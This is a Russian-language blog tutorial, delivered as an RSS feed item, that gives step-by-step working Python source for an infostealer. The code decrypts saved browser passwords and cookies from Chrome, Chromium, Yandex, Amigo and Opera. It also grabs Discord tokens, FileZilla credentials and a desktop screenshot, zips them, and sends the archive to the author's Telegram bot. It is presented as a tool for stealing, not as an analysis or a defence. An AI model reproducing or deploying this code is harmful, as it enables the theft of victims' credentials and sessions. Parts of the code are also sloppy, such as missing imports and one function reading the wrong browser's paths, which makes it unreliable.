<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>@0x40</title><generator>teletype.in</generator><description><![CDATA[@0x40]]></description><link>https://teletype.in/@0x40?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=0x40</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/0x40?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/0x40?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Fri, 19 Jun 2026 03:50:48 GMT</pubDate><lastBuildDate>Fri, 19 Jun 2026 03:50:48 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@0x40/HyR_lbobL</guid><link>https://teletype.in/@0x40/HyR_lbobL?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=0x40</link><comments>https://teletype.in/@0x40/HyR_lbobL?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=0x40#comments</comments><dc:creator>0x40</dc:creator><title>Стиллер паролей на Python</title><pubDate>Sun, 26 Jan 2020 12:05:09 GMT</pubDate><description><![CDATA[Функционал:]]></description><content:encoded><![CDATA[
  <p>Функционал:</p>
  <ul>
    <li>Стиллинг сохранённых паролей и куков из браузеров(Google Chrome, Chromium, Amigo, Opera, Yandex Browser)</li>
    <li>Скриншот рабочего стола</li>
    <li>Стиллинг токена Discord</li>
    <li>Стиллинг сессий FileZilla</li>
    <li>Логи отправляются в Telegram</li>
  </ul>
  <p><br /></p>
  <p>Приступим!</p>
  <p>Создаём бота у <a href="http://t.me/botfather" target="_blank">@BotFather</a> копируем токен бота, идём в лс к своему боту и начинаем диалог, далее переходим к этому боту @userinfobot и узнаём свой chat id.</p>
  <p><br /></p>
  <p>С ботом закончили, открываем cmd и пишем следующие команды:</p>
  <p><code>pip install pyTelegramBotAPI</code></p>
  <p><code>pip install win32crypt</code></p>
  <p><code>pip install telebot</code></p>
  <p>Теперь открываем IDE и начинаем кодить:</p>
  <p>Импортируем нужные библиотеки:</p>
  <pre>import os
import sqlite3
import win32crypt
import telebot
import shutil
import requests
import zipfile
from PIL import ImageGrab
</pre>
  <p>Теперь объявляем переменную username, которая содержит имя пользователя:</p>
  <pre>username = os.getlogin()
</pre>
  <p>Переменные для работы с ботом телеграм:</p>
  <pre>token = &#x27;ВАШ_ТОКЕН_ОТ_БОТА&#x27;
bot = telebot.TeleBot(token)
</pre>
  <p>Сейчас будем воровать пароли от хрома(комментарии отмечены # / #комментарий):</p>
  <pre>def Chrome(): # Создаём функцию
   text = &#x27;Stealer by 0x40\n\n\nPasswords Chrome:&#x27; + &#x27;\n&#x27; # Добавим авторов стиллера)
   text += &#x27;URL | LOGIN | PASSWORD&#x27; + &#x27;\n&#x27; # Объясняем что лог идём в формате Ссылка | Логин | Пароль
   if os.path.exists(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Login Data&#x27;): # Ищем файл Login Data В котором содержатся все пароли
       shutil.copy2(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Login Data&#x27;, os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Login Data2&#x27;)

       conn = sqlite3.connect(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Login Data2&#x27;) # Начинаем работать с sqlite базой
       cursor = conn.cursor()
       cursor.execute(&#x27;SELECT action_url, username_value, password_value FROM logins&#x27;) # Вытаскиваем Ссылку, логин, пароль
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode() # расшифровываем данные
           login = result[1]
           url = result[0]
           if password != &#x27;&#x27;:
               text += url + &#x27; | &#x27; + login + &#x27; | &#x27; + password + &#x27;\n&#x27; # Добавляем данный в переменную
   return text
file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\google_pass.txt&#x27;, &quot;w+&quot;) #Сохраняем данныем в txt файл google_pass
file.write(str(Chrome()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Теперь воруем куки из хрома:</p>
  <pre>def Chrome_cockie():
   textc = &#x27;Stealer by 0x40\n\n\nCookies Chrome:&#x27; + &#x27;\n&#x27;
   textc += &#x27;URL | COOKIE | COOKIE NAME&#x27; + &#x27;\n&#x27;
   if os.path.exists(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Cookies&#x27;):
       shutil.copy2(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Cookies&#x27;, os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Cookies2&#x27;)
       conn = sqlite3.connect(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Cookies2&#x27;)
       cursor = conn.cursor()
       cursor.execute(&quot;SELECT * from cookies&quot;)
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textc += url + &#x27; | &#x27; + str(cookie) + &#x27; | &#x27; + name + &#x27;\n&#x27;
   return textc
file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\google_cookies.txt&#x27;, &quot;w+&quot;) #данные
file.write(str(Chrome_cockie()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Воруем куки из Yandex Браузера:</p>
  <pre>def Yandex():
   texty = &#x27;Stealer by 0x40\n\n\nYANDEX Cookies:&#x27; + &#x27;\n&#x27;
   texty += &#x27;URL | COOKIE | COOKIE NAME&#x27; + &#x27;\n&#x27;
   if os.path.exists(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies&#x27;):
       shutil.copy2(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies&#x27;, os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2&#x27;)
       conn = sqlite3.connect(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2&#x27;)
       cursor = conn.cursor()
       cursor.execute(&quot;SELECT * from cookies&quot;)
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           texty += url + &#x27; | &#x27; + str(cookie) + &#x27; | &#x27; + name + &#x27;\n&#x27;
   return texty
file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\yandex_cookies.txt&#x27;, &quot;w+&quot;)#данные
file.write(str(Yandex()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Пароли браузеров на основе Chromium:</p>
  <pre>def chromium():
   textch = &#x27;\n&#x27; + &#x27;Stealer by 0x40\n\n\nChromium Passwords:&#x27; + &#x27;\n&#x27;
   textch += &#x27;URL | LOGIN | PASSWORD&#x27; + &#x27;\n&#x27;
   if os.path.exists(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Chromium\\User Data\\Default&#x27;):
       shutil.copy2(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Chromium\\User Data\\Default\\Login Data&#x27;, os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Chromium\\User Data\\Default\\Login Data2&#x27;)
       conn = sqlite3.connect(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Chromium\\User Data\\Default\\Login Data2&#x27;)
       cursor = conn.cursor()
       cursor.execute(&#x27;SELECT action_url, username_value, password_value FROM logins&#x27;)
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != &#x27;&#x27;:
               textch += url + &#x27; | &#x27; + login + &#x27; | &#x27; + password + &#x27;\n&#x27;
               return textch
file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\chromium.txt&#x27;, &quot;w+&quot;)#данные
file.write(str(chromium()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Куки браузеров на основе Chromium:</p>
  <pre>def chromiumc():
   textchc = &#x27;&#x27; 
   textchc += &#x27;\n&#x27; + &#x27;Stealer coded by Dark $ide\n\n\nChromium Cookies:&#x27; + &#x27;\n&#x27;
   textchc += &#x27;URL | COOKIE | COOKIE NAME&#x27; + &#x27;\n&#x27;
   if os.path.exists(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Chromium\\User Data\\Default\\Cookies&#x27;):
       shutil.copy2(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Chromium\\User Data\\Default\\Cookies&#x27;, os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Chromium\\User Data\\Default\\Cookies2&#x27;)
       conn = sqlite3.connect(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Chromium\\User Data\\Default\\Cookies2&#x27;)
       cursor = conn.cursor()
       cursor.execute(&quot;SELECT * from cookies&quot;)
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textchc += url + &#x27; | &#x27; + str(cookie) + &#x27; | &#x27; + name + &#x27;\n&#x27;
   return textchc
file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\chromium_cookies.txt&#x27;, &quot;w+&quot;)#данные
file.write(str(chromiumc()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Пароли Amigo:</p>
  <pre>def Amigo():
   textam = &#x27;Passwords Amigo:&#x27; + &#x27;\n&#x27;
   textam += &#x27;URL | LOGIN | PASSWORD&#x27; + &#x27;\n&#x27;
   if os.path.exists(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Amigo\\User Data\\Default\\Login Data&#x27;):
       shutil.copy2(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Amigo\\User Data\\Default\\Login Data&#x27;, os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Amigo\\User Data\\Default\\Login Data2&#x27;)
       conn = sqlite3.connect(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Amigo\\User Data\\Default\\Login Data2&#x27;)
       cursor = conn.cursor()
       cursor.execute(&#x27;SELECT action_url, username_value, password_value FROM logins&#x27;)
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != &#x27;&#x27;:
               textam += url + &#x27; | &#x27; + login + &#x27; | &#x27; + password + &#x27;\n&#x27;
file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\amigo_pass.txt&#x27;, &quot;w+&quot;)#данные
file.write(str(Amigo()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Куки Amigo:</p>
  <pre>def Amigo_c():
   textamc = &#x27;Cookies Amigo:&#x27; + &#x27;\n&#x27;
   textamc += &#x27;URL | COOKIE | COOKIE NAME&#x27; + &#x27;\n&#x27;
   if os.path.exists(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Amigo\\User Data\\Default\\Cookies&#x27;):
       shutil.copy2(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Amigo\\User Data\\Default\\Cookies&#x27;, os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Amigo\\User Data\\Default\\Cookies2&#x27;)
       conn = sqlite3.connect(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Amigo\\User Data\\Default\\Cookies2&#x27;)
       cursor = conn.cursor()
       cursor.execute(&quot;SELECT * from cookies&quot;)
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textamc += url + &#x27; | &#x27; + str(cookie) + &#x27; | &#x27; + name + &#x27;\n&#x27;
   return textamc

file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\amigo_cookies.txt&#x27;, &quot;w+&quot;)#данные
file.write(str(Amigo_c()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Воруем пароли с Оперы:</p>
  <pre>def Opera():
   texto = &#x27;Passwords Opera:&#x27; + &#x27;\n&#x27;
   texto += &#x27;URL | LOGIN | PASSWORD&#x27; + &#x27;\n&#x27;
   if os.path.exists(os.getenv(&quot;APPDATA&quot;) + &#x27;\\Opera Software\\Opera Stable\\Login Data&#x27;):
       shutil.copy2(os.getenv(&quot;APPDATA&quot;) + &#x27;\\Opera Software\\Opera Stable\\Login Data&#x27;, os.getenv(&quot;APPDATA&quot;) + &#x27;\\Opera Software\\Opera Stable\\Login Data2&#x27;)
       conn = sqlite3.connect(os.getenv(&quot;APPDATA&quot;) + &#x27;\\Opera Software\\Opera Stable\\Login Data2&#x27;)
       cursor = conn.cursor()
       cursor.execute(&#x27;SELECT action_url, username_value, password_value FROM logins&#x27;)
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != &#x27;&#x27;:
               texto += url + &#x27; | &#x27; + login + &#x27; | &#x27; + password + &#x27;\n&#x27;

file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\opera_pass.txt&#x27;, &quot;w+&quot;)#данные
file.write(str(Opera()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Куки Оперы:</p>
  <pre>def Opera_c():
    textoc = &#x27;\n&#x27; + &#x27;Cookies Opera:&#x27; + &#x27;\n&#x27;
    textoc += &#x27;URL | COOKIE | COOKIE NAME&#x27; + &#x27;\n&#x27;
    if os.path.exists(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Cookies&#x27;):
      shutil.copy2(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Cookies&#x27;, os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Cookies2&#x27;)
      conn = sqlite3.connect(os.getenv(&quot;LOCALAPPDATA&quot;) + &#x27;\\Google\\Chrome\\User Data\\Default\\Cookies2&#x27;)
      cursor = conn.cursor()
      cursor.execute(&quot;SELECT * from cookies&quot;)
      for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textoc += url + &#x27; | &#x27; + str(cookie) + &#x27; | &#x27; + name + &#x27;\n&#x27;
    return textoc

file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\opera_cookies.txt&#x27;, &quot;w+&quot;)#данные
file.write(str(Opera_c()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Теперь будем воровать DISCORD токен:</p>
  <pre>def discord_token():
   if os.path.isfile(os.getenv(&quot;APPDATA&quot;) + &#x27;/discord/Local Storage/https_discordapp.com_0.localstorage&#x27;) is True:
       token = &#x27;&#x27;
       conn = sqlite3.connect(os.getenv(&quot;APPDATA&quot;) + &quot;/discord/Local Storage/https_discordapp.com_0.localstorage&quot;)
       cursor = conn.cursor()
       for row in cursor.execute(&quot;SELECT key, value FROM ItemTable WHERE key=&#x27;token&#x27;&quot;):
           token = row[1].decode(&quot;utf-16&quot;)
       conn.close()
       if token != &#x27;&#x27;:
           return token
       else:
           return &#x27;Discord exists, but not logged in&#x27;
   else:
       return &#x27;Not found&#x27;
ds_token = discord_token()
ds_token += &#x27;Discord token:&#x27; + &#x27;\n&#x27; + discord_token() + &#x27;\n&#x27; + &#x27;\n&#x27;

file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\discord_token.txt&#x27;, &quot;w+&quot;)#данные
file.write(str(discord_token()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Воруем Сессии FileZilla:</p>
  <pre>def filezilla():
   try:
       data = &#x27;&#x27;
       if os.path.isfile(os.getenv(&quot;APPDATA&quot;) + &#x27;\\FileZilla\\recentservers.xml&#x27;) is True:
           root = etree.parse(os.getenv(&quot;APPDATA&quot;) + &#x27;\\FileZilla\\recentservers.xml&#x27;).getroot()

           for i in range(len(root[0])):
               host = root[0][i][0].text
               port = root[0][i][1].text
               user = root[0][i][4].text
               password = base64.b64decode(root[0][i][5].text).decode(&#x27;utf-8&#x27;)
               data += &#x27;host: &#x27; + host + &#x27;|port: &#x27; + port + &#x27;|user: &#x27; + user + &#x27;|pass: &#x27; + password + &#x27;\n&#x27;
           return data
       else:
           return &#x27;Not found&#x27;
   except Exception:
       return &#x27;Error&#x27;

textfz = filezilla()
textfz += &#x27;Filezilla: &#x27; + &#x27;\n&#x27; + filezilla() + &#x27;\n&#x27;

file = open(os.getenv(&quot;APPDATA&quot;) + &#x27;\\filezilla.txt&#x27;, &quot;w+&quot;)#данные
file.write(str(filezilla()) + &#x27;\n&#x27;)
file.close()
</pre>
  <p>Делаем скриншот рабочего стола:</p>
  <pre>screen = ImageGrab.grab()
screen.save(os.getenv(&quot;APPDATA&quot;) + &#x27;\\sreenshot.jpg&#x27;)#данные
</pre>
  <p>Теперь сохраняем все данные в архив:</p>
  <pre>zname=r&#x27;D:\LOG.zip&#x27; #создаем переменную - название и местоположение файла
newzip=zipfile.ZipFile(zname,&#x27;w&#x27;) #создаем архив
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\google_pass.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\google_cookies.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\yandex_cookies.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\chromium.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\chromium_cookies.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\amigo_pass.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\amigo_cookies.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\opera_pass.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\opera_cookies.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\discord_token.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\filezilla.txt&#x27;)
newzip.write(r&#x27;C:\\Users\\&#x27; + username + &#x27;\\AppData\\Roaming\\sreenshot.jpg&#x27;)
newzip.close() #закрываем архив
</pre>
  <p>Теперь добавим переменную doc:</p>
  <pre>doc = open(&quot;D:\LOG.zip&quot;, &#x27;rb&#x27;)</pre>
  <p>Отправляем сообщение в телеграм бота:</p>
  <pre>bot.send_document(ВАШ CHATID, doc)</pre>
  <p>На этом всё, думаю если будет время добавлю ещё плюшек.</p>

]]></content:encoded></item></channel></rss>